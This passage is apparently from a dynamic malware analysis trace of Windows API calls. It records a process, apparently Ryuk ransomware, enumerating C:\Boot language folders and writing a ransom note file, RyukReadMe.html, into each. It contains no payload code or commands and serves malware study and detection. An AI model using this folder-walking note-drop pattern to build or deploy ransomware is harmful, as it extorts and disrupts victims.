	[0244.953] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.953] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.953] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.953] SetLastError (dwErrCode=0x0) 
	[0244.953] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\RyukReadMe.html" (normalized: "c:\\boot\\ko-kr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.954] GetLastError () returned 0x0
	[0244.954] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.956] CloseHandle (hObject=0x35c) returned 1
	[0244.956] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x24, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0244.956] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0244.956] SetLastError (dwErrCode=0x0) 
	[0244.956] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.956] GetLastError () returned 0xb7
	[0244.956] CloseHandle (hObject=0x35c) returned 1
	[0244.956] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.957] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.957] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.957] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.957] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.957] SetLastError (dwErrCode=0x0) 
	[0244.957] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\RyukReadMe.html" (normalized: "c:\\boot\\nb-no\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.958] GetLastError () returned 0x0
	[0244.958] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.959] CloseHandle (hObject=0x35c) returned 1
	[0244.960] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0244.960] SetLastError (dwErrCode=0x0) 
	[0244.960] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.960] GetLastError () returned 0xb7
	[0244.960] CloseHandle (hObject=0x35c) returned 1
	[0244.960] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.961] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.961] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.961] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.961] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.961] SetLastError (dwErrCode=0x0) 
	[0244.961] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\RyukReadMe.html" (normalized: "c:\\boot\\nl-nl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.961] GetLastError () returned 0x0
	[0244.961] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.964] CloseHandle (hObject=0x35c) returned 1
	[0244.964] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0244.964] SetLastError (dwErrCode=0x0) 
	[0244.964] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.964] GetLastError () returned 0xb7
	[0244.964] CloseHandle (hObject=0x35c) returned 1
	[0244.964] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.965] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.965] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.965] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.965] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.965] SetLastError (dwErrCode=0x0) 
	[0244.965] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\RyukReadMe.html" (normalized: "c:\\boot\\pl-pl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.965] GetLastError () returned 0x0
	[0244.965] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.967] CloseHandle (hObject=0x35c) returned 1
	[0244.968] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0244.968] SetLastError (dwErrCode=0x0) 
	[0244.968] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.968] GetLastError () returned 0xb7
	[0244.968] CloseHandle (hObject=0x35c) returned 1
	[0244.968] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.968] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.969] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.969] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.969] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0245.034] SetLastError (dwErrCode=0x0) 
	[0245.035] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\RyukReadMe.html" (normalized: "c:\\boot\\pt-br\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.035] GetLastError () returned 0x0
	[0245.035] WriteFile (in: hFile=0x3a8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0245.037] CloseHandle (hObject=0x3a8) returned 1
	[0245.037] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0245.037] SetLastError (dwErrCode=0x0) 
	[0245.037] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.037] GetLastError () returned 0xb7
	[0245.038] CloseHandle (hObject=0x3a8) returned 1
	[0245.038] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0245.038] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.038] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0245.038] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0245.038] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0245.038] SetLastError (dwErrCode=0x0) 
	[0245.039] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\RyukReadMe.html" (normalized: "c:\\boot\\pt-pt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.039] GetLastError () returned 0x0
	[0245.039] WriteFile (in: hFile=0x3a8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0245.041] CloseHandle (hObject=0x3a8) returned 1
	[0245.041] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0245.041] SetLastError (dwErrCode=0x0) 
	[0245.041] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.041] GetLastError () returned 0xb7
	[0245.042] CloseHandle (hObject=0x3a8) returned 1
	[0245.042] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0245.042] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.042] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0245.042] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0245.042] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0245.042] SetLastError (dwErrCode=0x0) 
